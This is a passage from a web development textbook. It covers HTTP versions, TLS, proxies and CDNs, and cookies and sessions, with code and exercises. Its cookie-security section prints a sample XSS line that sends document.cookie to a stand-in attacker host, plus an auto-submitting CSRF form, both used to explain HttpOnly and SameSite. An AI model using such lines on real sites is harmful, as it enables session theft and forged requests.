-------------------------             -------------------------------
SYN/ACK  GET /       close            SYN/ACK  GET /       GET /a.css   GET /b.js   ...
SYN/ACK  GET /a.css  close                     <- 200      <- 200       <- 200
SYN/ACK  GET /b.js   close            one handshake, many sequential requests
three handshakes, three slow starts

HTTP/1.1: persistent by default. Connections stay open after a response unless one side sends Connection: close. Servers close idle connections after a timeout (often 5-75 seconds) and may advertise their policy with Keep-Alive: timeout=5, max=100. Besides saving handshakes, a reused connection has already "warmed up" TCP's congestion window, so it transfers data faster.

Head-of-line blocking. On a single HTTP/1.1 connection, requests are still answered one at a time: the second response cannot start until the first is complete. A slow response blocks everything behind it, just like a slow customer at the front of a single checkout queue.

Pipelining: a failed fix. HTTP/1.1 allowed clients to send several requests without waiting for the responses, but required the server to answer in order:

Client sends:   GET /slow-report   GET /logo.png   GET /style.css     (all at once)
Server must reply: [ slow-report ......... ][ logo ][ style ]
                   the fast responses wait behind the slow one

Because of head-of-line blocking, buggy proxies and the impossibility of safely retrying a broken pipeline of non-idempotent requests, pipelining was never enabled by default in browsers. Today it is effectively dead.

The browser workaround: parallel connections. Browsers open up to six connections per host for HTTP/1.1. Web developers once pushed further with tricks that are now anti-patterns under HTTP/2:

HTTP/1.1-era technique	Purpose	Status with HTTP/2+
Domain sharding (img1.example.com, img2.)	More than 6 parallel connections	Harmful: defeats multiplexing, extra handshakes
Concatenating all JS/CSS into one file	Fewer requests	Partly obsolete: bundling still helps for other reasons, but granular files cache better
CSS sprites	One image request instead of many	Rarely needed
Inlining small assets as data URIs	Avoid requests	Use sparingly: prevents separate caching

Connection reuse in your own code. Server-to-server HTTP clients should also reuse connections. In Node.js, fetch (built on undici) and the http module's global agent keep connections alive by default:

// Node.js 18+: fetch reuses keep-alive connections to the same origin automatically
for (let i = 0; i < 100; i++) {
  await fetch(`https://api.example.com/items/${i}`); // one TCP+TLS handshake, then reuse
}

// With the http module, use an Agent to control pooling explicitly
import https from 'node:https';
const agent = new https.Agent({ keepAlive: true, maxSockets: 10 }); // up to 10 sockets per host
https.get('https://api.example.com/items/1', { agent }, (res) => res.resume());

Key Takeaways

• Connection setup (TCP plus TLS) costs several round trips, so reusing connections matters.
• HTTP/1.1 connections are persistent by default; Connection: close ends them.
• A single HTTP/1.1 connection processes requests sequentially, causing head-of-line blocking.
• Pipelining tried to fix this but kept in-order responses and was never deployed by browsers.
• Browsers open about six connections per host for HTTP/1.1; HTTP/2 multiplexing replaces this and makes domain sharding harmful.

Practice

1. (Beginner) Run curl -v https://example.com https://example.com/ (two URLs in one command) and find the line that shows the second request reusing the connection.
2. (Intermediate) Throttle the network to "Slow 4G" in DevTools, load a page with many images over HTTP/1.1 and over HTTP/2 (most CDNs support both), and compare the waterfall charts.
3. (Interview) "Why did pipelining fail while HTTP/2 multiplexing succeeded, even though both send multiple requests on one connection?" Hint: compare response ordering and how each response is identified.

HTTP/1.1, HTTP/2 and HTTP/3

All three versions share the same semantics, defined once in RFC 9110: methods, status codes and headers mean the same thing everywhere. What changed is how messages are put on the wire, driven by the shift from pages with a handful of resources to applications loading hundreds of them over mobile networks.

HTTP/1.1 (1997, revised 2022 as RFC 9112). Text-based, one outstanding request per connection, headers repeated verbatim on every request (cookies and user agents can make each request carry 1-2 KB of redundant headers).

HTTP/2 (2015, RFC 9113). Grew out of Google's SPDY experiment and changed the transport encoding:

• Binary framing. Messages are split into frames (HEADERS, DATA, SETTINGS, RST_STREAM, ...) instead of text lines.
• Multiplexing. Each request-response pair is a stream with an ID. Frames of many streams are interleaved on one TCP connection, so a slow response no longer blocks others at the HTTP level.
• Header compression (HPACK). Headers are compressed with static and dynamic tables, so a repeated cookie costs a few bytes.
• Stream prioritisation. Clients can hint which resources matter most (the newer, simpler scheme is the Priority header from RFC 9218).
• Server push (sending resources before they are requested) was specified but proved hard to use well; Chrome removed it in 2022. 103 Early Hints with Link: rel=preload is the replacement.

HTTP/2: one TCP connection, interleaved frames from several streams
 ---------------------------------------------------------------------
 | H1 | H3 | D1 | D3 | D1 | H5 | D5 | D3 | D1 | D5 | ...              |
 ---------------------------------------------------------------------
 H = HEADERS frame, D = DATA frame, number = stream ID
 Stream 1 (HTML), 3 (CSS) and 5 (JS) progress in parallel.

The remaining problem: TCP head-of-line blocking. HTTP/2 multiplexes streams over a single TCP connection, and TCP guarantees in-order delivery of bytes. If one packet is lost, TCP holds back all data behind it, including frames of unrelated streams, until the retransmission arrives. On lossy mobile networks HTTP/2 can then perform worse than six HTTP/1.1 connections.

HTTP/3 (2022, RFC 9114). Runs over QUIC (RFC 9000), a transport protocol built on UDP:

• Streams in the transport. QUIC itself knows about independent streams, so a lost packet only delays the stream it belongs to.
• Built-in TLS 1.3. Transport and encryption handshakes are combined: a new connection needs one round trip, and a resumed one can send data immediately (0-RTT, which must only be used for replay-safe requests).
• Connection migration. Connections are identified by connection IDs, not by IP/port, so switching from Wi-Fi to mobile data does not break them.
• QPACK replaces HPACK, because HPACK assumes in-order delivery.

            HTTP/1.1            HTTP/2               HTTP/3
          +-----------+     +-------------+     +-------------+
 HTTP     | text msgs |     | binary      |     | binary      |
          |           |     | frames,     |     | frames,     |
          |           |     | HPACK       |     | QPACK       |
          +-----------+     +-------------+     +-------------+
 Security | TLS (opt) |     | TLS (de     |     | QUIC        |  <- streams, reliability,
          +-----------+     | facto req.) |     | (with TLS   |     congestion control and
 Transport|    TCP    |     +-------------+     |  1.3 inside)|     TLS 1.3 combined
          |           |     |     TCP     |     +-------------+
          |           |     |             |     |     UDP     |
          +-----------+     +-------------+     +-------------+

Feature	HTTP/1.1	HTTP/2	HTTP/3
Encoding	Text	Binary frames	Binary frames
Transport	TCP	TCP	QUIC over UDP
Concurrent requests per connection	1 (pipelining unused)	Many (multiplexed)	Many (independent streams)
Head-of-line blocking	HTTP and TCP level	TCP level only	Eliminated across streams
Header compression	None	HPACK	QPACK
Encryption	Optional	Required by browsers	Always (TLS 1.3 built in)
Connection setup (new)	TCP + TLS: 2-3 RTT	TCP + TLS: 2-3 RTT	1 RTT (0-RTT on resumption)

How clients discover the version. HTTP/2 over TLS is negotiated during the TLS handshake via ALPN (Application-Layer Protocol Negotiation): the client offers h2, http/1.1 and the server picks one. HTTP/3 cannot be negotiated that way, because it uses a different transport; the server advertises it with an Alt-Svc: h3=":443" header or an HTTPS DNS record, and the browser switches on later connections.

curl -sI --http1.1 https://cloudflare.com | head -1   # HTTP/1.1 200 OK (or a redirect)
curl -sI --http2   https://cloudflare.com | head -1   # HTTP/2 200
curl -sI --http3   https://cloudflare.com | head -1   # HTTP/3 200 (needs a curl built with HTTP/3)
curl -sI https://cloudflare.com | grep -i alt-svc      # alt-svc: h3=":443"; ma=86400

For application developers the version is mostly transparent: fetch, Express handlers and Cache-Control behave the same. What changes is performance tuning (stop sharding, keep connections warm) and infrastructure: HTTP/2 and HTTP/3 are usually terminated by a CDN or reverse proxy that talks to your Node.js server over plain HTTP/1.1.

Key Takeaways

• All versions share the same semantics; they differ in wire format and transport.
• HTTP/2 adds binary framing, multiplexed streams and HPACK over a single TCP connection.
• TCP's in-order delivery still causes head-of-line blocking in HTTP/2 when packets are lost.
• HTTP/3 runs over QUIC (UDP), with per-stream delivery, built-in TLS 1.3, faster handshakes and connection migration.
• HTTP/2 is negotiated with ALPN; HTTP/3 is discovered via Alt-Svc or HTTPS DNS records.

Practice

1. (Beginner) In the DevTools Network panel, right-click the column headers, enable the "Protocol" column, and load three large sites. Which use h2 and which h3?
2. (Intermediate) Explain, with a diagram, what happens to three parallel downloads when a single packet carrying data for one of them is lost, under HTTP/2 and under HTTP/3.
3. (Interview) "If HTTP/3 is better, why does every server still support HTTP/1.1 and HTTP/2?" Hint: think about UDP being blocked by corporate firewalls, discovery via Alt-Svc, tooling, and server-to-server traffic behind a proxy.

HTTPS, TLS and Certificates

Plain HTTP travels in clear text: anyone on the path (the café Wi-Fi, an ISP, a compromised router) can read passwords and cookies or modify pages in transit. HTTPS is HTTP sent inside a TLS (Transport Layer Security) connection, which provides three guarantees:

Guarantee	Protects against	Mechanism
Confidentiality	Eavesdropping	Symmetric encryption (AES-GCM, ChaCha20-Poly1305) with session keys
Integrity	Tampering (injected ads, malware)	Authenticated encryption detects any modification
Authentication	Impersonation ("am I really talking to my bank?")	Server certificate signed by a trusted Certificate Authority

The TLS 1.3 handshake. Encryption with a shared secret is fast, but the two sides have never met. The handshake uses asymmetric cryptography to agree on a secret over an open network and to prove the server's identity:

Client                                                Server
  | ClientHello                                          |
  |  - supported cipher suites, TLS versions             |
  |  - key share (ephemeral Diffie-Hellman public key)   |
  |  - SNI: "shop.example.com"   ALPN: h2, http/1.1      |
  |----------------------------------------------------->|
  |                                         ServerHello  |
  |                - chosen cipher suite, server key share|
  |   {Certificate}  {CertificateVerify}  {Finished}     |  { } = already encrypted
  |<-----------------------------------------------------|
  | Both sides now compute the same session keys from    |
  | the two key shares (ECDHE). The client verifies the  |
  | certificate chain and the CertificateVerify signature.|
  | {Finished}  {GET / HTTP/1.1 ...}                      |
  |----------------------------------------------------->|
  One round trip before application data (TLS 1.2 needed two).

The ephemeral Diffie-Hellman exchange gives forward secrecy: even if the server's private key is stolen later, recorded past sessions cannot be decrypted.

Certificates and the chain of trust. A certificate (X.509 format) binds a public key to a domain name and is signed by a Certificate Authority (CA). Browsers and operating systems ship with a list of trusted root CAs. Servers send their own certificate plus intermediate certificates, and the client builds a chain up to a trusted root:

  Root CA (self-signed, preinstalled in the OS/browser trust store)
     |  signs
  Intermediate CA (e.g. Let's Encrypt R11)
     |  signs
  Leaf certificate: CN/SAN = shop.example.com, www.shop.example.com
                    public key, validity period, signature

  Client checks: signatures valid up the chain, domain matches SAN,
                 not expired, not revoked, key usage correct

Getting certificates. Let's Encrypt and other ACME-based CAs issue free, automatically renewed domain-validated certificates; tools such as Certbot, Caddy and most hosting platforms handle it transparently. Certificate lifetimes are deliberately getting shorter (the industry-wide maximum dropped to 200 days in March 2026 and is scheduled to reach 47 days by 2029), so renewal must be automated.

Certificate type	Validation	Typical use
Domain Validated (DV)	Control of the domain (HTTP or DNS challenge)	The vast majority of sites
Organization/Extended Validation (OV/EV)	Legal identity checks	Some corporate sites (browsers no longer show special UI)
Wildcard (*.example.com)	DNS challenge	Many subdomains
Self-signed	None	Local development only

Inspecting a TLS connection.

# Show the negotiated protocol, cipher and certificate chain
openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null \
  | grep -E 'Protocol|Cipher|subject=|issuer='

# Show certificate validity dates
openssl s_client -connect example.com:443 -servername example.com </dev/null 2>/dev/null \
  | openssl x509 -noout -dates -ext subjectAltName

SNI. Because one IP address hosts many HTTPS sites, the client sends the hostname in the ClientHello (Server Name Indication) so the server can pick the right certificate. SNI is visible to observers; Encrypted Client Hello (ECH) hides it and is being rolled out by browsers and CDNs.

Enforcing HTTPS. Redirecting http:// to https:// still leaves the first request exposed. HSTS (HTTP Strict Transport Security) tells the browser to use HTTPS only for a period, and the preload list hardcodes this into browsers:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Mixed content. An HTTPS page that loads scripts over HTTP undermines its own security; browsers block such "active" mixed content and upgrade or block images.

Local development. Many browser features (Service Workers, geolocation, crypto.subtle, Secure cookies) require a secure context. http://localhost counts as secure; for other hostnames tools like mkcert create a local CA trusted by your machine. Node.js HTTPS servers are covered in Chapter 11.6.

Key Takeaways

• HTTPS = HTTP over TLS, giving confidentiality, integrity and server authentication.
• TLS 1.3 completes its handshake in one round trip and uses ephemeral key exchange for forward secrecy.
• Certificates bind a public key to domain names; trust flows from root CAs through intermediates to the leaf.
• ACME/Let's Encrypt make certificates free and automatic; shortening lifetimes make automation mandatory.
• Use HSTS to prevent downgrade to HTTP; avoid mixed content; many APIs require a secure context.

Practice

1. (Beginner) Click the padlock in your browser on three sites and note the issuer, validity period and Subject Alternative Names of each certificate.
2. (Intermediate) Use mkcert to create a certificate for myapp.test, start a Node.js HTTPS server with it, and confirm the browser trusts it. Then try the same with a self-signed certificate and compare the browser's behaviour.
3. (Interview) "A user on public Wi-Fi types bank.com in the address bar. Walk through the attack possibilities before and after the bank deploys HSTS with preload." Hint: the first plain-HTTP request and SSL stripping.

Proxies, Gateways and CDNs

Between a browser and the server that finally answers a request there are often several intermediaries. HTTP was designed for this layered architecture: because messages are self-descriptive (method, headers, cache rules), intermediaries can forward, cache, transform or inspect them without understanding the application.

Kinds of intermediaries.

                 forward proxy                     reverse proxy / gateway
 [Browser] ----> [ Corporate  ] ---- Internet ---> [ nginx / load  ] --> [ Node.js app 1 ]
 [Browser] ----> [  proxy     ]                    [ balancer / API] --> [ Node.js app 2 ]
                 acts for the CLIENTS              [ gateway       ] --> [ auth service  ]
                 (filtering, caching,              acts for the SERVERS
                  egress control)                  (TLS, routing, caching, rate limits)

Intermediary	Acts on behalf of	Typical jobs
Forward proxy	Clients	Filtering, logging, shared caching, anonymity, egress control in companies
Reverse proxy	Servers	TLS termination, load balancing, compression, static files, caching, request buffering
Gateway / API gateway	Servers	Protocol translation, authentication, rate limiting, routing to microservices
Tunnel	Either	Relays raw bytes without inspecting them (CONNECT for HTTPS through a proxy)
CDN	Servers (distributed reverse proxy)	Serves cached content from edge locations close to users

Forward proxies and HTTPS. A forward proxy cannot read HTTPS traffic. The client asks it to open a tunnel, then speaks TLS end to end with the server:

CONNECT shop.example.com:443 HTTP/1.1
Host: shop.example.com:443

HTTP/1.1 200 Connection Established

<TLS handshake and encrypted HTTP flow through the tunnel>

(Some corporate proxies deliberately intercept TLS by installing their own root CA on company machines.)

Reverse proxies in front of Node.js. A typical production setup puts nginx, Caddy, HAProxy or a cloud load balancer in front of the application:

# nginx: TLS termination, compression and proxying to a Node.js app
server {
    listen 443 ssl;
    http2 on;
    server_name shop.example.com;
    ssl_certificate     /etc/letsencrypt/live/shop.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/shop.example.com/privkey.pem;

    gzip on;
    gzip_types application/json text/css application/javascript;

    location /static/ {
        root /var/www/shop;                          # serve files directly, no Node involved
        expires 1y;
    }

    location / {
        proxy_pass http://127.0.0.1:3000;            # forward to Node.js over plain HTTP
        proxy_set_header Host              $host;
        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;  # tells the app the client used https
    }
}

Who is the real client? Behind a proxy, the TCP peer address seen by the application is the proxy's, not the user's. Proxies add headers describing the original request:

Header	Content
X-Forwarded-For	Comma-separated chain of client and proxy IPs (de facto standard)
X-Forwarded-Proto / X-Forwarded-Host	Original scheme and host
Forwarded	Standardised equivalent (RFC 7239): for=203.0.113.7;proto=https;host=shop.example.com
Via	Protocol versions and names of the intermediaries traversed

These headers can be forged by clients, so an application must only trust them when they were set by its own proxies. Express exposes this as a setting:

// Express: trust exactly one proxy hop (our nginx); req.ip and req.protocol then use X-Forwarded-*
app.set('trust proxy', 1);
app.get('/whoami', (req, res) => res.json({ ip: req.ip, secure: req.secure })); // secure: true if https at the proxy

CDNs. A Content Delivery Network (Cloudflare, Akamai, Fastly, CloudFront) is a global fleet of reverse proxies. DNS or anycast routing sends each user to a nearby edge location; on a cache hit the response never reaches the origin.

 User in Milan -> CDN edge Milan  --(cache hit)--> response in 10 ms
 User in Tokyo -> CDN edge Tokyo  --(cache miss)-> origin in Frankfurt -> cached at Tokyo edge

CDNs honour Cache-Control, s-maxage and Vary, and often add their own controls (CDN-Cache-Control, purge APIs, cache tags). Many also run code at the edge (Cloudflare Workers, Fastly Compute, Vercel/Netlify edge functions) for redirects, A/B tests or authentication close to the user, and provide DDoS protection and a web application firewall.

Key Takeaways

• Forward proxies act for clients; reverse proxies, gateways and CDNs act for servers.
• HTTPS passes through forward proxies via CONNECT tunnels.
• Reverse proxies typically handle TLS, compression, static files and load balancing in front of Node.js.
• X-Forwarded-* and Forwarded carry the original client information; trust them only from known proxies.
• CDNs cache responses at edge locations according to HTTP caching headers, cutting latency and origin load.

Practice

1. (Beginner) Run curl -sI https://www.cloudflare.com and curl -sI https://www.fastly.com, and find headers that reveal a CDN cache and whether the response was a hit (cf-cache-status, x-cache, age).
2. (Intermediate) Put nginx (or Caddy) in front of a small Node.js server on port 3000 and make the app log the real client IP and scheme. Then send a request with a forged X-Forwarded-For header and confirm your configuration does not trust it blindly.
3. (Interview) "Your API applies rate limits per client IP, but after moving behind a load balancer every client is limited together. What happened and how do you fix it safely?" Hint: the TCP peer is now the load balancer; consider forwarded headers and how many proxy hops you trust.

<a id="102-cookies-and-sessions"></a>

10.2 Cookies and Sessions

This subchapter shows how applications build memory on top of stateless HTTP: cookies and their attributes, server-side sessions and their storage, the attacks that target session identifiers, and how cookies compare with tokens and browser storage.

State Management over a Stateless Protocol

Shopping carts, logins, language preferences and multi-step forms all need the server to recognise that several requests belong together. Since HTTP does not remember anything between requests (10.1), the application has to add an identifier to every request and use it to look up or reconstruct state.

Think of a cloakroom: you hand over your coat and receive a numbered ticket. The cloakroom does not remember your face; on your way out you show the ticket and get the coat back. The ticket is meaningless to anyone but the cloakroom, but anyone holding it can claim the coat. That is a session cookie, and also its main security weakness.

Where state can live.

Technique	How the client re-identifies itself	Where the state is stored	Notes
URL parameters	/cart?sid=abc123 or /cart;jsessionid=abc123	Server	Leaks via logs, Referer, shared links; obsolete
Hidden form fields	<input type="hidden" name="step" value="2">	Client (in the page)	Only for form flows; must be validated, user can edit it
Cookies	Browser sends Cookie header automatically	Client (small values) or server (ID only)	The standard browser mechanism
Tokens in Authorization	Client code adds Authorization: Bearer ...	Client (self-contained token) or server	Common for APIs and mobile apps (10.3)
Web Storage / IndexedDB	Client code reads it and sends it explicitly	Client	Not sent automatically (6.4, 10.2 last topic)

Two strategies.

Server-side state (sessions)                    Client-side state (self-contained)
------------------------------                  ----------------------------------
Cookie: sid=9f8e7d                              Cookie: cart=eyJpdGVtcyI6WzQyXX0.sig
         |                                               |
         v                                               v
 +------------------------+                      server verifies signature,
 | session store          |                      reads data from the value itself
 | 9f8e7d -> { user: 7,   |                      (no lookup, but the client holds the data,
 |   cart: [42], lang: it}|                       size is limited and revocation is hard)
 +------------------------+

• Server-side state sends only a random identifier; the data stays on the server. It is easy to change or revoke, but every request needs a lookup in a store that all servers share.
• Client-side state puts the data itself in the cookie or token, protected by a signature (and optionally encryption) so the client cannot tamper with it. No lookup is needed, but the data travels with every request and cannot easily be revoked before it expires.

Most real systems combine them: a session ID or token for identity, server-side data for everything large or sensitive.

Key Takeaways

• Because HTTP is stateless, applications reattach an identifier to every request to recognise returning clients.
• Cookies are the browser's built-in mechanism; tokens in Authorization are common for APIs and mobile apps.
• State can be stored server-side (session ID only on the client) or client-side (signed data on the client).
• Whoever holds the identifier is treated as the user, so it must be protected like a password.

Practice

1. (Beginner) List three features of a typical e-commerce site that require state across requests and say which technique from the table you would use for each.
2. (Intermediate) Explain why putting a session ID in the URL (?sid=...) is dangerous, naming at least three ways it could leak.
3. (Interview) "Compare storing a shopping cart in a signed cookie versus in a server-side session." Hint: consider size limits, server load, multiple devices, tampering and what happens when the price of an item changes.

Set-Cookie and Cookie Headers

A cookie is a small named value that a server asks the browser to store and send back on later requests to the same site. Cookies were introduced by Netscape in 1994 (for a shopping cart) and are now specified by RFC 6265, currently being revised as "RFC 6265bis".

The two headers. The server sets cookies with one Set-Cookie header per cookie; the browser returns all matching cookies in a single Cookie header:

Browser                                              Server
  | POST /login  (username, password)                  |
  |--------------------------------------------------->|
  | 200 OK                                             |
  | Set-Cookie: sid=9f8e7d; Path=/; HttpOnly; Secure   |
  | Set-Cookie: lang=it; Max-Age=31536000; Path=/      |
  |<---------------------------------------------------|
  |                                                    |
  | GET /account                                       |
  | Cookie: sid=9f8e7d; lang=it                        |   <- sent automatically by the browser
  |--------------------------------------------------->|

Note the asymmetry: Set-Cookie carries attributes (Path, HttpOnly, ...) that tell the browser how to store and when to send the cookie, but the Cookie header sends back only name=value pairs. The server never learns the attributes or the expiry date from the browser.

Lifecycle.

Action	How
Create	Set-Cookie: name=value; ...attributes
Update	Send Set-Cookie with the same name, Domain and Path and a new value
Delete	Send Set-Cookie with the same name, Domain and Path and Max-Age=0 (or a past Expires)
Session cookie	No Expires/Max-Age: deleted when the browser session ends (browsers that restore sessions may keep it)

Value encoding. Cookie values cannot contain spaces, commas, semicolons or most control characters. Applications usually URL-encode or base64url-encode values:

// Node.js http: set, read and delete cookies without a library
import { createServer } from 'node:http';

function parseCookies(header = '') {
  return Object.fromEntries(
    header.split(';').filter(Boolean).map((pair) => {
      const [name, ...rest] = pair.trim().split('=');
      return [name, decodeURIComponent(rest.join('='))];  // values may contain "="
    })
  );
}

createServer((req, res) => {
  const cookies = parseCookies(req.headers.cookie);
  if (req.url === '/set') {
    res.setHeader('Set-Cookie', [                          // array -> several Set-Cookie headers
      `theme=${encodeURIComponent('dark mode')}; Path=/; Max-Age=86400; SameSite=Lax`,
      'visited=1; Path=/; SameSite=Lax',
    ]);
  } else if (req.url === '/clear') {
    res.setHeader('Set-Cookie', 'theme=; Path=/; Max-Age=0'); // same name and Path, expired
  }
  res.end(`Cookies received: ${JSON.stringify(cookies)}\n`);
}).listen(3000);

In Express the cookie-parser middleware and res.cookie() do the same (Chapter 12).

Cookies in the browser. JavaScript can read and write non-HttpOnly cookies through document.cookie, an awkward string-based API: reading returns all visible cookies as one string, and assigning adds or updates a single cookie.

document.cookie = 'theme=dark; Path=/; Max-Age=86400; SameSite=Lax'; // sets ONE cookie
document.cookie = 'fontSize=16; Path=/';                              // adds another, keeps theme
console.log(document.cookie);              // "theme=dark; fontSize=16" (attributes never shown)
document.cookie = 'theme=; Path=/; Max-Age=0';                        // delete theme

The asynchronous Cookie Store API (await cookieStore.get('theme'), cookieStore.set(...), change events) is available in newer browsers and is easier to use where supported.

Size limits. Browsers guarantee at least 4096 bytes per cookie (name, value and attributes together) and at least 50 cookies per domain. Every matching cookie is sent with every request, including image and script requests, so large cookies slow down the whole site. Keep cookies small and serve static assets from a cookieless domain or CDN if necessary.

Key Takeaways

• Servers set cookies with Set-Cookie (one header per cookie, with attributes); browsers return them in one Cookie header with only names and values.
• Update a cookie by resending it with the same name, Domain and Path; delete it with Max-Age=0.
• Without Expires/Max-Age, a cookie is a session cookie.
• document.cookie can access cookies that are not HttpOnly; it sets one cookie per assignment.
• Cookies are limited to about 4 KB each and travel with every matching request, so keep them small.

Practice

1. (Beginner) Run the Node.js example, visit /set, then / and /clear, and observe the cookies in the DevTools Application panel after each step.
2. (Intermediate) Write a small server that counts how many times each browser has visited, storing the counter in a cookie. Then explain how a user could cheat the counter and how you could prevent it with an HMAC signature.
3. (Interview) "A user reports they cannot log out: the session cookie survives the logout request. What are the most likely causes?" Hint: a deletion only matches a cookie with the same name, Domain and Path.

Cookie Attributes: Expires, Path and Domain

Attributes in Set-Cookie control a cookie's lifetime and scope: how long the browser keeps it, and to which requests it is attached. Getting the scope wrong leaks cookies to places they should not go or makes them disappear where they are needed.

Lifetime: Expires and Max-Age.

Set-Cookie: remember=1; Expires=Sun, 03 Oct 2027 09:00:00 GMT   <- absolute date (HTTP date format)
Set-Cookie: remember=1; Max-Age=31536000                         <- relative: seconds from now

Attribute	Value	Notes
Expires	HTTP date in GMT	Depends on the client's clock
Max-Age	Seconds	Takes precedence if both are present; 0 or negative deletes
Neither		Session cookie: removed when the browser session ends

Browsers cap very long lifetimes: Chromium limits cookie expiry to 400 days (as proposed in RFC 6265bis), and Safari can shorten cookies set by scripts. Long-lived "remember me" cookies should therefore be refreshed on use.

Path. A cookie is sent only for request paths that match its Path prefix (on segment boundaries):

Set-Cookie: cart=42; Path=/shop

  /shop            -> sent
  /shop/checkout   -> sent
  /shopping        -> NOT sent  (not a path-segment match)
  /                -> NOT sent

If Path is omitted, the default is the "directory" of the request URL that set it (for /shop/login, the default is /shop). This surprises many developers, so it is good practice to always set Path=/ explicitly unless you need a narrower scope. Path is not a security boundary: a page under / can still read /admin cookies by opening /admin in an iframe, because both have the same origin.

Domain. Controls which hosts receive the cookie:

Response from shop.example.com:

Set-Cookie: a=1                         -> host-only: sent ONLY to shop.example.com
Set-Cookie: b=2; Domain=example.com     -> sent to example.com AND every subdomain:
                                           shop.example.com, api.example.com, evil.example.com...
Set-Cookie: c=3; Domain=other.com       -> rejected: a site cannot set cookies for another domain
Set-Cookie: d=4; Domain=com             -> rejected: "com" is a public suffix

Counter-intuitively, omitting Domain is the most restrictive option (host-only). Setting Domain widens the scope to all subdomains. Browsers consult the Public Suffix List so that nobody can set a cookie for co.uk or github.io as a whole.

Choosing the scope.

Scenario	Recommended attributes
Session cookie for one app	No Domain (host-only), Path=/
Single sign-on across app.example.com and admin.example.com	Domain=example.com (only if every subdomain is trusted)
Preference used by one section	Path=/section (convenience, not security)
Maximum lockdown	__Host- prefix (see next topic): forces Secure, Path=/ and no Domain

Cookies are not isolated by port or (for reading) by scheme. example.com:3000 and example.com:4000 share cookies, which matters when running several local apps on localhost.

// Express (Chapter 12): res.cookie maps options to attributes
res.cookie('remember', token, {
  maxAge: 30 * 24 * 60 * 60 * 1000,  // Express takes milliseconds and writes Max-Age in seconds
  path: '/',
  // domain omitted -> host-only cookie
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
});

Key Takeaways

• Max-Age (seconds) beats Expires (date); without either the cookie lasts for the browser session.
• Path restricts which URL paths receive the cookie; it defaults to the directory of the setting URL, so set Path=/ explicitly. It is not a security boundary.
• Omitting Domain makes a host-only cookie; setting Domain shares it with all subdomains.
• Browsers reject cookies for unrelated domains and public suffixes.
• Cookies are shared across ports of the same host.

Practice

1. (Beginner) For a cookie set by https://app.example.com/account/login with no Path or Domain, list which of these requests receive it: /account, /account/settings, /, https://api.example.com/account.
2. (Intermediate) Set two cookies with the same name but different Path values and observe the order in which the browser sends them in the Cookie header. How should a server handle duplicate names?
3. (Interview) "Your company hosts user-generated sites on *.pages.example.com and the main app on app.example.com. The session cookie uses Domain=example.com. What is the risk?" Hint: any subdomain receives, and can also set, cookies for the parent domain.

Secure, HttpOnly and SameSite Flags

Lifetime and scope decide where a cookie goes; three security flags decide under what conditions and to whom it is exposed. For any cookie that identifies a user, all three should be set deliberately.

Secure: only over HTTPS. The browser sends the cookie only on HTTPS requests (and localhost), and refuses Secure cookies set by plain-HTTP pages. Without it, a single http:// request (a typed URL, an old link) sends the session ID in clear text to anyone on the network.

HttpOnly: invisible to JavaScript. The cookie is sent with requests but cannot be read through document.cookie. If an attacker injects a script into your page (XSS, Chapter 17), they cannot steal an HttpOnly session cookie and use it from their own machine. They can still make requests from the victim's browser, so HttpOnly limits the damage of XSS rather than preventing it.

// Attacker's injected script on a vulnerable page
fetch('https://evil.example/steal?c=' + encodeURIComponent(document.cookie));
// With HttpOnly on the session cookie, document.cookie does not contain it.

SameSite: cross-site sending policy. By default cookies are attached to every request to their domain, including requests triggered by other sites: an image, a form submission or a link on evil.example pointing at bank.example. That is the root of Cross-Site Request Forgery (CSRF, Chapter 17). SameSite restricts it:

Value	Sent on same-site requests	Sent on cross-site top-level navigation (clicking a link)	Sent on cross-site subrequests (img, iframe, fetch, form POST)
Strict	Yes	No	No
Lax	Yes	Yes, for safe methods (GET)	No
None	Yes	Yes	Yes (requires Secure)

User is logged in to bank.example (session cookie) and visits evil.example, which contains:

<form action="https://bank.example/transfer" method="POST"> ... auto-submitted ... </form>

  SameSite=None   -> cookie sent -> transfer executes as the user       (CSRF succeeds)
  SameSite=Lax    -> cross-site POST, cookie NOT sent -> request is anonymous (blocked)
  SameSite=Strict -> cookie NOT sent; also not sent when the user simply follows a link
                     from an email to bank.example, so they appear logged out on arrival

"Same-site" means same registrable domain (scheme plus eTLD+1): app.example.com and api.example.com are same-site, but cross-origin. Chromium-based browsers treat cookies without a SameSite attribute as Lax; other browsers have different defaults, so always set it explicitly. SameSite=Lax is the sensible default for session cookies; use Strict for highly sensitive cookies where the "logged out after following a link" effect is acceptable, and None; Secure only when you really need cross-site use (embedded widgets, third-party integrations).

Cookie prefixes. Names starting with special prefixes make the browser enforce attributes, protecting against cookies injected by subdomains or insecure pages:

Prefix	Browser requires
__Secure-	Secure, set from an HTTPS page
__Host-	Secure, HTTPS, Path=/ and no Domain (host-only, cannot be set by a subdomain)

Partitioned cookies (CHIPS). Browsers increasingly block or restrict third-party cookies (Safari and Firefox do so by default). Embedded services that need state per embedding site can use Partitioned, which stores a separate cookie jar for each top-level site:

Set-Cookie: __Host-widget=abc; Secure; Path=/; SameSite=None; Partitioned

A recommended session cookie.

Set-Cookie: __Host-sid=k3J9aQ...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=7200

Key Takeaways

• Secure restricts a cookie to HTTPS; HttpOnly hides it from JavaScript; SameSite controls cross-site sending.
• HttpOnly reduces the impact of XSS but does not prevent requests made from the victim's page.
• SameSite=Lax blocks most CSRF while keeping normal link navigation working; None requires Secure.
• The __Host- prefix guarantees a host-only, secure, Path=/ cookie.
• Set all flags explicitly; browser defaults differ.

Practice

1. (Beginner) Write Set-Cookie headers for: a session cookie, a non-sensitive UI theme preference readable by JavaScript, and a cookie for a chat widget embedded on many third-party sites.
2. (Intermediate) Build two local sites (for example site-a.test and site-b.test via /etc/hosts). Set a cookie on site A with each SameSite value and test which are sent when site B links to, embeds an image from, and auto-submits a form to site A.
3. (Interview) "If all session cookies are SameSite=Lax, do we still need CSRF tokens?" Hint: consider state-changing GET endpoints, same-site but different-origin subdomains, older browsers and defence in depth.

The Session Concept and Session Identifiers

A session is the server's memory of a series of interactions with one client: who is logged in, what is in the cart, which step of a wizard they reached. The client holds only a session identifier (session ID), usually in a cookie; the server keeps the data.

The session lifecycle.

1. First request, no cookie
   Browser --- GET /  ------------------------------------------> Server
                                         creates session s=Q2x9... -> store: { }
